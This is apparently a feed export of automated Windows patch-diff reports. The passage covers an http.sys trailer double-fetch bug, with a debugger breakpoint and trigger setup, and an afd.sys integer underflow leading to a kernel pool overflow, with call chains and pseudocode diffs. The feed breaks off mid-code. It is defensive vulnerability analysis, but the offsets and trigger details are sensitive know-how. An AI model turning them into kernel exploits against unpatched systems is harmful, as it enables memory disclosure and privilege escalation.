bp http+0x15f510  &amp;quot;.if (rdx &amp;gt; 0xFFFF800000000000) { echo [VICTORY] Kernel Address detected in memmove source! } .else { gc }&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;UlGenerateTrailers&lt;/code&gt; cold chunk (&lt;code&gt;0x14015f4cb&lt;/code&gt;):&lt;/strong&gt; Inspect &lt;code&gt;rax&lt;/code&gt; (the user-mode entry structure). Look at &lt;code&gt;[rax+8]&lt;/code&gt; — this is the pointer being submitted to &lt;code&gt;UlProbeAnsiString&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x14015f509&lt;/code&gt;:&lt;/strong&gt; Inspect &lt;code&gt;rdx&lt;/code&gt;. If &lt;code&gt;rdx&lt;/code&gt; differs from what you observed at &lt;code&gt;0x14015f4cb&lt;/code&gt;, the race succeeded. If &lt;code&gt;rdx&lt;/code&gt; is greater than &lt;code&gt;0xFFFF800000000000&lt;/code&gt;, a kernel address was swapped in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At the &lt;code&gt;memmove&lt;/code&gt; routine (&lt;code&gt;http+0x14de80&lt;/code&gt;):&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; is the destination trailer buffer (&lt;code&gt;r13&lt;/code&gt;), &lt;code&gt;rdx&lt;/code&gt; is the source, &lt;code&gt;r8&lt;/code&gt; is the length.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key Instructions/Offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x14015f4cb&lt;/code&gt;: First fetch of the user pointer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x14015f4cf&lt;/code&gt;: &lt;code&gt;UlProbeAnsiString&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x14015f509&lt;/code&gt;: &lt;strong&gt;THE BUG&lt;/strong&gt;. Second fetch of the user pointer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x14015f510&lt;/code&gt;: The dangerous &lt;code&gt;memmove&lt;/code&gt; execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup&lt;/h3&gt;
&lt;p&gt;Drive an HTTP response send through the HTTP Server API (or &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; against &lt;code&gt;\Device\Http\*&lt;/code&gt;) with a response descriptor whose trailer field points to an array of at least one 0x18-byte entry, each entry carrying non-zero length fields and user-mode data pointers.&lt;/p&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;If the race is lost (the probe catches the kernel address), &lt;code&gt;UlProbeAnsiString&lt;/code&gt; raises a &lt;code&gt;STATUS_ACCESS_VIOLATION&lt;/code&gt; which &lt;code&gt;http.sys&lt;/code&gt; catches internally and converts to a request error. The system remains stable.
If the race is won, the breakpoint at &lt;code&gt;0x14015f510&lt;/code&gt; halts. &lt;code&gt;rdx&lt;/code&gt; holds a kernel address; stepping over the &lt;code&gt;call memmove&lt;/code&gt; executes the copy, and dumping &lt;code&gt;rcx&lt;/code&gt; afterward reveals the leaked kernel memory.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlGenerateTrailers (sub_1400755C0)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.684): &lt;strong&gt;Vulnerable&lt;/strong&gt;. Copies user-supplied HTTP trailer entries, performing a source-pointer double-fetch on &lt;code&gt;entry+0x8&lt;/code&gt; and &lt;code&gt;entry+0x10&lt;/code&gt; (probe with &lt;code&gt;UlProbeAnsiString&lt;/code&gt;, then re-read for &lt;code&gt;memmove&lt;/code&gt;). Patched by capturing each pointer once into &lt;code&gt;r12&lt;/code&gt;, used for the copy when &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; is enabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxQuicConnectionCopyBindings (sub_1400E1AB4)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.858): &lt;strong&gt;User-mode destination-pointer handling&lt;/strong&gt;. Copies ALPN/binding data from an in-kernel QUIC connection object (&lt;code&gt;*(a1+1712)&lt;/code&gt;) into a caller output buffer under a push lock (&lt;code&gt;a1+0x28&lt;/code&gt;). The source is kernel data read once, so this is not a source double-fetch. The unpatched code truncates the destination pointer &lt;code&gt;a3+8&lt;/code&gt; to 32 bits (&lt;code&gt;(unsigned int)(a3+8)&lt;/code&gt;); the patched code preserves the full 64-bit destination pointer when &lt;code&gt;UxKirWritingAndReadingUm&lt;/code&gt; is set, and only truncates in the rollback path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxQuicConnectionGetPeerIssuerListClient (sub_1400E28A8)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.898): &lt;strong&gt;Destination-base capture&lt;/strong&gt;. Copies the peer certificate issuer list from an in-kernel QUIC object (&lt;code&gt;*(a1+1680)&lt;/code&gt;) into the caller buffer under a shared push lock. Source pointers are kernel data. The patched code, gated on &lt;code&gt;UxKirWritingAndReadingUmCertList&lt;/code&gt;, captures the output base &lt;code&gt;a3+16&lt;/code&gt; once instead of re-reading &lt;code&gt;*(a3)&lt;/code&gt; (which was just written into the caller-visible buffer) when placing the per-entry header pointers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxpQuicConnectionCopyCertBlob (sub_1400E9D8C)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.864): &lt;strong&gt;User-mode destination-pointer handling&lt;/strong&gt;. Copies a certificate blob from an in-kernel structure into the caller buffer. The unpatched &lt;code&gt;a2 != 0&lt;/code&gt; branch truncates the destination &lt;code&gt;a3+8&lt;/code&gt; to 32 bits. The patched build moves this branch into the helper &lt;code&gt;UxpQuicConnectionCopyCertBlob32 (sub_1400ea280)&lt;/code&gt;, which preserves the full 64-bit destination when &lt;code&gt;UxKirWritingAndReadingUm&lt;/code&gt; is set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxStartEnvironmentModule (sub_1400B6AF0)&lt;/code&gt;&lt;/strong&gt; (Sim: 0.942): &lt;strong&gt;Initialization / feature staging&lt;/strong&gt;. Sets the three Known-Issue-Rollback flags &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;, &lt;code&gt;UxKirWritingAndReadingUm&lt;/code&gt;, and &lt;code&gt;UxKirWritingAndReadingUmCertList&lt;/code&gt; from Windows Feature-staging queries (&lt;code&gt;Feature_2280337722&lt;/code&gt;, &lt;code&gt;Feature_1255102777&lt;/code&gt;, &lt;code&gt;Feature_1282877755&lt;/code&gt;). These flags gate the corrected paths above. Not directly reachable by an attacker.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_14015F5C7&lt;/code&gt;&lt;/strong&gt; (Sim: 0.969): This address falls inside the &lt;code&gt;UlGenerateTrailers&lt;/code&gt; cold chunk, not a separate function. The register-allocation difference (&lt;code&gt;rdi&lt;/code&gt; vs &lt;code&gt;rbx&lt;/code&gt;) is a byproduct of the recompile with no independent behavioral change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.
&lt;em&gt;(Note: &lt;code&gt;sub_14014de80&lt;/code&gt; in the unpatched build and &lt;code&gt;sub_14014e300&lt;/code&gt; in the patched build are the same &lt;code&gt;memmove&lt;/code&gt; routine at a relocated address; the copy helper is unchanged. The behavioral fix lives in the callers, not in a new wrapper. &lt;code&gt;UxpQuicConnectionCopyCertBlob32 (sub_1400ea280)&lt;/code&gt; already exists in both builds as &lt;code&gt;UxpQuicConnectionCopyCertBlob32&lt;/code&gt;.)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High. The double-fetch assembly pattern is a textbook CWE-367 vulnerability. The fix directly maps to standard mitigation techniques for TOCTOU bugs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions Made:&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;The attacker has normal, unprivileged access to the HTTP Server API to submit a response with trailer descriptors that reach &lt;code&gt;UlGenerateTrailers&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;UxQuicConnection*&lt;/code&gt; functions are query paths that copy data out of in-kernel QUIC connection objects into a caller buffer; their changes concern 64-bit user-mode destination-pointer handling rather than a source double-fetch, so they are lower severity than the trailer path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Required:&lt;/strong&gt; A PoC writer must reconstruct the trailer descriptor layout (count at &lt;code&gt;+0x8&lt;/code&gt;, entry-array pointer at &lt;code&gt;+0x10&lt;/code&gt;, 0x18-byte entries with data pointers at &lt;code&gt;+0x8&lt;/code&gt;/&lt;code&gt;+0x10&lt;/code&gt;) that reaches the &lt;code&gt;UlGenerateTrailers&lt;/code&gt; loop, and must confirm &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; is enabled on the patched build when validating the fix, since the single-capture path is gated on that flag.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Integer underflow in accept options copy leading to kernel pool buffer overflow (CWE-191) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_3f2e63d9-afd-report-20260626-132701.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_3f2e63d9-afd-report-20260626-132701.html</id><summary type="html">&lt;p&gt;KB5094122&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9683 (96.83%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1093&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1060&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch changes three functions in the Windows AFD (Winsock) driver in a security-relevant way. The primary fix is a real integer underflow in &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (the accept IRP completion routine): a 16-bit options length is decremented by 8 without a lower-bound check, wrapping to a large value that drives an oversized &lt;code&gt;memmove&lt;/code&gt; into the MDL-mapped output buffer. The second change adds a drain of pending listening IRPs on the failed-listen completion path in &lt;code&gt;AfdTLListenComplete&lt;/code&gt;. The third change makes a connection-teardown state check unconditional in &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt;, where it was previously gated behind a feature flag. All three fixes are gated by (or, for the third, remove) &lt;code&gt;EvaluateCurrentState&lt;/code&gt; feature flags.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Integer Underflow → Kernel Pool Buffer Overflow&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Integer underflow leading to heap buffer overflow (CWE-191 / CWE-122)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (unpatched &lt;code&gt;0x1C007608C&lt;/code&gt;, patched &lt;code&gt;0x1C007508C&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel pool / MDL-mapped buffer overflow via oversized &lt;code&gt;memmove&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; In the accept completion routine, after the options block is reached (guarded by &lt;code&gt;options_size &amp;gt;= 6&lt;/code&gt;), one of two copy paths runs depending on the connection byte at &lt;code&gt;[connection+0xAC]&lt;/code&gt;. When that byte is &lt;strong&gt;zero&lt;/strong&gt;, the code computes the copy length as &lt;code&gt;options_size - 8&lt;/code&gt; in a 16-bit register. Because the only guard is &lt;code&gt;options_size &amp;gt;= 6&lt;/code&gt;, the values &lt;code&gt;6&lt;/code&gt; and &lt;code&gt;7&lt;/code&gt; pass the guard, and &lt;code&gt;options_size - 8&lt;/code&gt; wraps in 16 bits to &lt;code&gt;0xFFFE&lt;/code&gt; (65534) or &lt;code&gt;0xFFFF&lt;/code&gt; (65535). That wrapped value is then used as the &lt;code&gt;memmove&lt;/code&gt; size, copying up to ~64 KB from the transport response into the MDL-mapped output buffer that was sized for the small options field. The patched version adds a feature-flag-gated path that, when the feature is enabled, checks &lt;code&gt;options_size &amp;lt; 8&lt;/code&gt; and zero-fills with &lt;code&gt;memset&lt;/code&gt; instead of subtracting 8.&lt;/p&gt;
&lt;p&gt;Note that the &lt;em&gt;other&lt;/em&gt; branch (connection byte &lt;code&gt;[connection+0xAC] != 0&lt;/code&gt;) subtracts 2, not 8. Since the guard already forces &lt;code&gt;options_size &amp;gt;= 6&lt;/code&gt;, &lt;code&gt;options_size - 2 &amp;gt;= 4&lt;/code&gt; never underflows, and that branch is unchanged between the two builds. The underflow is specific to the &lt;code&gt;-8&lt;/code&gt; branch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point:&lt;/strong&gt; A peer completes a connection to an AFD socket that has an accept/super-accept pending. The transport-reported options length in the connection response drives the vulnerable length math.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; / &lt;code&gt;WSAAccept&lt;/code&gt; / &lt;code&gt;AcceptEx&lt;/code&gt; (user mode)
2. AFD &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; dispatch
3. &lt;code&gt;AfdAccept&lt;/code&gt; / &lt;code&gt;AfdServiceSuperAccept&lt;/code&gt; / &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; (accept service paths)
4. &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; — accept IRP completion routine (copies options data from the connection response into the user's MDL-mapped buffer)&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — Pending Listen IRPs Not Drained on Failed-Listen Completion&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use-after-free / stale IRP access (CWE-416)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdTLListenComplete&lt;/code&gt; (unpatched &lt;code&gt;0x1C005AB60&lt;/code&gt;, patched &lt;code&gt;0x1C0059850&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pending IRPs left queued across endpoint dereference on the listen-abort path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;AfdTLListenComplete&lt;/code&gt; runs the abort branch only when the completion status &lt;code&gt;a2 &amp;lt; 0&lt;/code&gt; (a failed listen). In that branch the unpatched code clears state flags (&lt;code&gt;[conn+8] &amp;amp;= ~3&lt;/code&gt;, &lt;code&gt;*conn &amp;amp;= ~4&lt;/code&gt;), writes &lt;code&gt;conn[0xA8]&lt;/code&gt;/&lt;code&gt;conn[0xAA]&lt;/code&gt; from the IRP, and releases the connection spinlock (at &lt;code&gt;conn+0x30&lt;/code&gt;) &lt;strong&gt;without draining the pending listen-IRP list at &lt;code&gt;conn+0x70&lt;/code&gt;&lt;/strong&gt;. Immediately after, &lt;code&gt;AfdDerefTLBaseEndpoint&lt;/code&gt; decrements the endpoint reference. Any IRPs still queued on &lt;code&gt;conn+0x70&lt;/code&gt; therefore survive across the endpoint dereference. The patch inserts a feature-flag-gated call to &lt;code&gt;AfdDrainListeningIrps(conn, &amp;amp;LockHandle, status)&lt;/code&gt; before the lock is released; that helper walks the &lt;code&gt;conn+0x70&lt;/code&gt; list, recovers each IRP (list entry lies at &lt;code&gt;IRP+0xA8&lt;/code&gt;, so &lt;code&gt;IRP = entry - 0xA8&lt;/code&gt;), clears its cancel routine, completes it with the failing status, and re-acquires the spinlock.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point:&lt;/strong&gt; A listening AFD socket whose listen completes with a failure status while listen/wait IRPs are queued on the endpoint.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; / &lt;code&gt;WSAIoctl&lt;/code&gt; / &lt;code&gt;connect&lt;/code&gt; (user mode)
2. AFD &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; dispatch
3. &lt;code&gt;AfdTLListenComplete&lt;/code&gt; — TDI listen completion handler (failure/abort branch)&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — Connection-Teardown State Check Made Unconditional (downgraded)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing state validation under feature-flag-off configuration (hardening)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; (unpatched &lt;code&gt;0x1C0078630&lt;/code&gt;, patched &lt;code&gt;0x1C0077700&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Receive IRP queued onto a connection whose teardown-state byte is set&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause and downgrade rationale:&lt;/strong&gt; In the completion path, under the connection spinlock (&lt;code&gt;conn+0x30&lt;/code&gt;), the code sets &lt;code&gt;Irp-&amp;gt;CancelRoutine = AfdSanCancelRequest&lt;/code&gt; (&lt;code&gt;Irp+0x68&lt;/code&gt;), checks &lt;code&gt;Irp-&amp;gt;Cancel&lt;/code&gt; (&lt;code&gt;Irp+0x44&lt;/code&gt;), and decides whether to queue the IRP onto the &lt;code&gt;conn+0x70&lt;/code&gt; list. The unpatched queue condition is &lt;code&gt;Irp-&amp;gt;Cancel == 0 &amp;amp;&amp;amp; (!EvaluateCurrentState(flag) || conn[0x91] == 0)&lt;/code&gt;. When the feature flag is disabled, &lt;code&gt;!EvaluateCurrentState(flag)&lt;/code&gt; is true, so the teardown-state byte &lt;code&gt;conn[0x91]&lt;/code&gt; is &lt;strong&gt;not checked&lt;/strong&gt; and the IRP is queued regardless. The patched condition is simply &lt;code&gt;Irp-&amp;gt;Cancel == 0 &amp;amp;&amp;amp; conn[0x91] == 0&lt;/code&gt; — the &lt;code&gt;conn[0x91]&lt;/code&gt; check is unconditional.&lt;/p&gt;
&lt;p&gt;The report's original framing of this as a time-of-check/time-of-use race is &lt;strong&gt;not supported by the binaries&lt;/strong&gt;: the cancel-routine set, both checks, and the list insertion all execute while the connection spinlock is held, and &lt;code&gt;AfdSanCancelRequest&lt;/code&gt; itself takes the same lock, so no concurrent cancel can interleave inside this region. There is no widened race window and no double list insertion. The real change is narrower: a connection-teardown state check that was skipped when a feature flag was off is now always enforced. The cancel routine is &lt;code&gt;AfdSanCancelRequest&lt;/code&gt; in both builds (the earlier claim of two different cancel-routine addresses was an artifact of address rebasing). This is a defensive hardening change, downgraded accordingly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; / &lt;code&gt;WSARecv&lt;/code&gt; / &lt;code&gt;recv&lt;/code&gt; (user mode)
2. AFD &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; dispatch
3. &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; — receive completion path with cancel-routine setup&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (Accept Completion — Integer Underflow)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED — AfdSanAcceptCore @ 0x1C007608C&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// options size guard: &amp;gt;= 6&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// v31 = options size (16-bit)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v49&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v49&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// source in response&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... map output buffer, v35 = &amp;amp;mapped[v15[2]] ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v46&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// connection byte [conn+0xAC] != 0 : subtract-2 path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
